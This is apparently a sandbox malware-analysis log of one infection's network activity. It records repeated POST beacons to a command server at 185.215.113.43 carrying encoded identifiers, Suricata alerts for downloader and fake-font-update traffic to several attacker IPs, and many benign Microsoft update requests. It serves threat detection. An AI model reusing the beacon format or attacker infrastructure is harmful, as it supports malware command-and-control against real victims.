Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49771 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49779 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49780 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49787 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49794 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49795 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49801 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49813 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49822 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49819 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49823 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49829 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49831 -> 172.67.223.140:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49838 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49844 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49853 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49854 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49865 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49866 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49852 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49875 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49874 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49873 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49891 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49903 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49914 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49922 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49923 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49913 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49937 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49948 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49946 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49959 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49993 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49964 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50237 -> 104.46.162.225:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 172.202.163.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2otlPBgxoUx1CEW&MD=tpu6Kdur HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2otlPBgxoUx1CEW&MD=tpu6Kdur HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
